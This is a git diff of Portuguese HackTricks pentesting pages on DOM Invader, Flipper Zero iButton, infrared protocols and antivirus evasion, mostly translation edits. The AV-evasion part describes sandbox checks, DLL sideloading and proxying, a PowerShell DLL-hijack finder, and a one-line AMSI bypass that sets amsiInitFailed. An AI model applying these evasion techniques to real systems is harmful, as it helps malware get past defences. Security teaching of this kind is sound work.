* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,3 +1,17 @@
# DOM Invader
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## DOM Invader
O DOM Invader é uma ferramenta do navegador instalada no navegador integrado do Burp. Ele ajuda a **detectar vulnerabilidades de XSS DOM** usando várias fontes e sinks, incluindo mensagens da web e poluição de protótipos. A ferramenta é pré-instalada como uma extensão.
@ -5,7 +19,7 @@ O DOM Invader é uma ferramenta do navegador instalada no navegador integrado do
O DOM Invader integra uma guia dentro do painel DevTools do navegador, permitindo o seguinte:
1. **Identificação de sinks controláveis** em uma página da web para teste de XSS DOM, fornecendo contexto e detalhes de sanitização.
2. **Registro, edição e reenvio de mensagens da web** enviadas pelo método `postMessage()` para teste de XSS DOM. O DOM Invader também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
2. **Registro, edição e reenvio de mensagens da web** enviadas via método `postMessage()` para teste de XSS DOM. O DOM Invader também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
3. Detecção de **fontes de poluição de protótipos do lado do cliente** e varredura de gadgets controláveis enviados para sinks arriscados.
4. Identificação de **vulnerabilidades de clobbering do DOM**.
@ -17,17 +31,17 @@ No navegador integrado do Burp, vá para a **extensão Burp** e habilite-a:
Agora atualize a página e na **Dev Tools** você encontrará a **guia DOM Invader:**
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
### Injetar um Canary
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e clicar em pesquisar a cada vez. O DOM Invader verificará se o **canary terminou em algum sink interessante** que possa ser explorado.
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e clicar em pesquisar cada vez. O DOM Invader verificará se o **canary terminou em algum sink interessante** que possa ser explorado.
Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canary** em todos os **parâmetros de URL** e **formulários** que encontrar.
### Injetar um Canary vazio
Se você quiser apenas encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canary vazio**.
Se você apenas deseja encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canary vazio**.
### Mensagens da Web
@ -41,8 +55,8 @@ O DOM Invader permite testar o XSS DOM usando mensagens da web com recursos como
Você pode clicar em cada mensagem para ver informações mais detalhadas sobre ela, incluindo se as propriedades `origin`, `data` ou `source` da mensagem são acessadas pelo JavaScript do lado do cliente.
* **`origin`**: Se as informações de **origem da mensagem não forem verificadas**, você poderá enviar mensagens entre origens para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
* **`data`**: Aqui é onde a carga útil é enviada. Se esses dados não forem usados, o sink será inútil.
* **`origin`**: Se as informações de **origem da mensagem não forem verificadas**, você poderá enviar mensagens de origem cruzada para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
* **`data`**: Aqui é onde a carga útil é enviada. Se esses dados não forem usados, o sink é inútil.
* **`source`**: Avalia se a propriedade de origem, geralmente referenciando um iframe, é validada em vez da origem. Mesmo que isso seja verificado, não garante que a validação não possa ser contornada.
#### Responder a uma mensagem

View file

@ -5,9 +5,9 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -24,7 +24,7 @@ Para obter mais informações sobre o que é um iButton, consulte:
A parte **azul** da imagem a seguir é onde você precisa **colocar o iButton real** para que o Flipper possa **lê-lo**. A parte **verde** é onde você precisa **tocar o leitor** com o Flipper zero para **emular corretamente um iButton**.
<figure><img src="../../../.gitbook/assets/image (20).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
## Ações
@ -55,9 +55,9 @@ Se você não conseguir fazer com que os contatos esperados do Flipper Zero toqu
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,7 +7,7 @@
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -16,7 +16,7 @@
iButton é um nome genérico para uma chave de identificação eletrônica embalada em um **recipiente de metal em forma de moeda**. Também é chamado de **Dallas Touch** Memory ou memória de contato. Embora muitas vezes seja erroneamente referido como uma chave "magnética", não há **nada magnético** nele. Na verdade, um microchip completo operando em um protocolo digital está escondido dentro.
<figure><img src="../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (19) (1).png" alt=""><figcaption></figcaption></figure>
### O que é iButton? <a href="#what-is-ibutton" id="what-is-ibutton"></a>
@ -24,7 +24,7 @@ Normalmente, iButton implica a forma física da chave e do leitor - uma moeda re
<figure><img src="../../.gitbook/assets/image (23) (2).png" alt=""><figcaption></figcaption></figure>
Quando a chave chega ao leitor, os **contatos se tocam** e a chave é alimentada para **transmitir** seu ID. Às vezes, a chave **não é lida** imediatamente porque o **PSD de contato de um interfone é maior** do que deveria ser. Então, os contornos externos da chave e do leitor não poderiam tocar. Se esse for o caso, você terá que pressionar a chave sobre uma das paredes do leitor.
Quando a chave chega ao leitor, os **contatos se tocam** e a chave é alimentada para **transmitir** seu ID. Às vezes, a chave **não é lida** imediatamente porque o **PSD de contato de um interfone é maior** do que deveria ser. Então, os contornos externos da chave e do leitor não puderam se tocar. Se esse for o caso, você terá que pressionar a chave sobre uma das paredes do leitor.
<figure><img src="../../.gitbook/assets/image (21) (2).png" alt=""><figcaption></figcaption></figure>
@ -34,7 +34,7 @@ As chaves Dallas trocam dados usando o protocolo 1-wire. Com apenas um contato p
Quando a chave (Escravo) entra em contato com o interfone (Mestre), o chip dentro da chave é ligado, alimentado pelo interfone, e a chave é inicializada. Em seguida, o interfone solicita o ID da chave. A seguir, veremos esse processo com mais detalhes.
O Flipper pode funcionar tanto nos modos Mestre quanto Escravo. No modo de leitura de chave, o Flipper age como um leitor, ou seja, funciona como um Mestre. E no modo de emulação de chave, o Flipper finge ser uma chave, está no modo Escravo.
O Flipper pode funcionar nos modos Mestre e Escravo. No modo de leitura de chave, o Flipper age como um leitor, ou seja, funciona como um Mestre. E no modo de emulação de chave, o Flipper finge ser uma chave, está no modo Escravo.
### Chaves Dallas, Cyfral e Metakom
@ -59,7 +59,7 @@ As chaves iButton podem ser atacadas com o Flipper Zero:
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,7 +7,7 @@
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -32,7 +32,7 @@ Os protocolos de infravermelho diferem em 3 fatores:
Os bits são codificados pela modulação da duração do espaço entre os pulsos. A largura do próprio pulso é constante.
<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (16) (3).png" alt=""><figcaption></figcaption></figure>
**2. Codificação de Largura de Pulso**
@ -51,7 +51,7 @@ Também é conhecida como codificação Manchester. O valor lógico é definido
{% hint style="info" %}
Existem protocolos de infravermelho que estão **tentando se tornar universais** para vários tipos de dispositivos. Os mais famosos são RC5 e NEC. Infelizmente, o mais famoso **não significa o mais comum**. Em meu ambiente, encontrei apenas dois controles remotos NEC e nenhum RC5.
Os fabricantes adoram usar seus próprios protocolos de infravermelho exclusivos, mesmo dentro da mesma faixa de dispositivos (por exemplo, TV-boxes). Portanto, controles remotos de empresas diferentes e às vezes de modelos diferentes da mesma empresa, não conseguem trabalhar com outros dispositivos do mesmo tipo.
Os fabricantes adoram usar seus próprios protocolos de infravermelho exclusivos, mesmo dentro da mesma faixa de dispositivos (por exemplo, TV-boxes). Portanto, controles remotos de diferentes empresas e às vezes de modelos diferentes da mesma empresa, não conseguem trabalhar com outros dispositivos do mesmo tipo.
{% endhint %}
### Explorando um Sinal de Infravermelho
@ -60,7 +60,7 @@ A maneira mais confiável de ver como o sinal de infravermelho do controle remot
<figure><img src="../../.gitbook/assets/image (18) (2).png" alt=""><figcaption></figcaption></figure>
Geralmente, há um preâmbulo no início de um pacote codificado. Isso permite que o receptor determine o nível de ganho e o fundo. Existem também protocolos sem preâmbulo, por exemplo, Sharp.
Geralmente, há um preâmbulo no início de um pacote codificado. Isso permite que o receptor determine o nível de ganho e fundo. Existem também protocolos sem preâmbulo, por exemplo, Sharp.
Em seguida, os dados são transmitidos. A estrutura, o preâmbulo e o método de codificação de bits são determinados pelo protocolo específico.
@ -74,4 +74,4 @@ Para a lógica "0" e "1", a NEC usa a Codificação de Distância de Pulso: prim
### Condicionadores de Ar
Ao contrário de outros controles remotos, **os condicionadores de ar não transmitem apenas o código do botão pressionado**. Eles também **transmitem todas as informações** quando um
Ao contrário de outros controles remotos, **os condicionadores de ar não transmitem apenas o código do botão pressionado**. Eles também **transmitem todas as informações** quando um botão

View file

@ -8,7 +8,7 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -38,15 +38,15 @@ Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins
Uma boa maneira de verificar a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Basicamente, ele divide o arquivo em vários segmentos e, em seguida, solicita que o Defender verifique cada um individualmente, dessa forma, ele pode informar exatamente quais são as strings ou bytes marcados em seu binário.
{% endhint %}
Eu recomendo muito que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão de AV prática.
Recomendo muito que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão de AV prática.
### **Análise dinâmica**
A análise dinâmica ocorre quando o AV executa seu binário em uma sandbox e observa a atividade maliciosa (por exemplo, tentando descriptografar e ler as senhas do seu navegador, realizando um minidespejo em LSASS, etc.). Essa parte pode ser um pouco mais complicada de trabalhar, mas aqui estão algumas coisas que você pode fazer para evitar as sandboxes.
* **Atraso antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, portanto, o uso de longos atrasos pode perturbar a análise de binários. O problema é que muitas sandboxes AV podem simplesmente ignorar o atraso, dependendo de como ele é implementado.
* **Atraso antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para verificar arquivos para não interromper o fluxo de trabalho do usuário, portanto, o uso de longos atrasos pode perturbar a análise de binários. O problema é que muitas sandboxes AV podem simplesmente ignorar o atraso, dependendo de como ele é implementado.
* **Verificação dos recursos da máquina** Geralmente, as sandboxes têm muito poucos recursos para trabalhar (por exemplo, <2 GB de RAM), caso contrário, elas podem desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades do ventilador, nem tudo será implementado na sandbox.
* **Verificações específicas da máquina** Se você deseja segmentar um usuário cuja estação de trabalho está associada ao domínio "contoso.local", pode verificar o domínio do computador para ver se ele corresponde ao que você especificou. Se não corresponder, você pode fazer seu programa sair.
* **Verificações específicas da máquina** Se você deseja segmentar um usuário cuja estação de trabalho está associada ao domínio "contoso.local", pode verificar o domínio do computador para ver se ele corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então você pode verificar o nome do computador em seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro da sandbox do Defender, então você pode fazer seu programa sair.
@ -68,7 +68,7 @@ Ao modificar seus payloads para evasão, certifique-se de **desativar o envio au
## EXEs vs DLLs
Sempre que possível
Sempre que possível, **priorize o uso de DLL
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
@ -79,7 +79,7 @@ Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForE
Este comando irá listar os programas suscetíveis a DLL hijacking dentro de "C:\Program Files\\" e os arquivos DLL que eles tentam carregar.
Eu recomendo fortemente que você **explore os programas DLL Hijackable/Sideloadable por si mesmo**, essa técnica é bastante furtiva se feita corretamente, mas se você usar programas DLL Sideloadable publicamente conhecidos, pode ser facilmente detectado.
Eu recomendo fortemente que você **explore os programas DLL Hijackable/Sideloadable por si mesmo**, essa técnica é bastante furtiva se feita corretamente, mas se você usar programas DLL Sideloadable publicamente conhecidos, pode ser facilmente descoberto.
Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não carregará sua carga útil, pois o programa espera algumas funções específicas dentro dessa DLL. Para resolver esse problema, usaremos outra técnica chamada **DLL Proxying/Forwarding**.
@ -114,10 +114,10 @@ Estes são os resultados:
Tanto nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) quanto o proxy DLL têm uma taxa de detecção de 0/26 no [antiscan.me](https://antiscan.me)! Eu chamaria isso de sucesso.
<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Eu **recomendo fortemente** que você assista ao VOD do twitch [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também o vídeo do [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender mais sobre o que discutimos com mais profundidade.
Eu **recomendo fortemente** que você assista ao VOD do twitch de [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também o vídeo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender mais sobre o que discutimos de forma mais aprofundada.
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
@ -165,7 +165,7 @@ Existem algumas maneiras de contornar o AMSI:
Como o AMSI funciona principalmente com detecções estáticas, modificar os scripts que você tenta carregar pode ser uma boa maneira de evitar a detecção.
No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenha várias camadas, então a ofuscação pode ser uma má opção dependendo de como é feita. Isso torna a evasão não tão direta. Embora, às vezes, tudo o que você precisa fazer é mudar alguns nomes de variáveis e você estará bem, então depende de quanto algo foi sinalizado.
No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenha várias camadas, então a ofuscação pode ser uma má opção dependendo de como é feita. Isso torna não tão direto para evitar. Embora, às vezes, tudo o que você precisa fazer é mudar alguns nomes de variáveis e você estará bem, então depende de quanto algo foi sinalizado.
* **Bypass AMSI**
@ -173,7 +173,7 @@ Como o AMSI é implementado carregando uma DLL no processo powershell (também c
**Forçando um erro**
Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em nenhuma verificação ser iniciada para o processo atual. Originalmente, isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para evitar o uso mais amplo.
Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará que nenhuma verificação será iniciada para o processo atual. Originalmente, isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para evitar o uso mais amplo.
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
@ -203,7 +203,7 @@ Essa técnica foi descoberta inicialmente por [@RastaMouse](https://twitter.com/
Por favor, leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
{% endhint %}
Existem também muitas outras técnicas usadas para contornar o AMSI com o powershell, confira [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) e [este repositório](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender mais sobre elas.
Existem também muitas outras técnicas usadas para contornar o AMSI com o powershell, confira [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) e [este repositório](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para saber mais sobre elas.
## Ofuscação
@ -212,7 +212,7 @@ Existem várias ferramentas que podem ser usadas para **ofuscar código C# em te
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto do [LLVM](http://www.llvm.org/) capaz de fornecer segurança de software aumentada por meio de [ofuscação de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) e proteção contra adulteração.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, no momento da compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
* [**obfy**](https://github.com/fritzone/obfy): Adicione uma camada de operações ofuscadas geradas pelo framework de metaprogramação de modelos C++, o que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
* [**obfy**](https://github.com/fritzone/obfy): Adicione uma camada de operações ofuscadas geradas pelo framework de metaprogramação de modelos C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame é um mecanismo simples de código metamórfico para executáveis arbitrários.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de granularidade fina para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem, transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
@ -231,7 +231,7 @@ O SmartScreen funciona principalmente com uma abordagem baseada em reputação,
**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) com o nome de Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, juntamente com a URL de onde foi baixado.
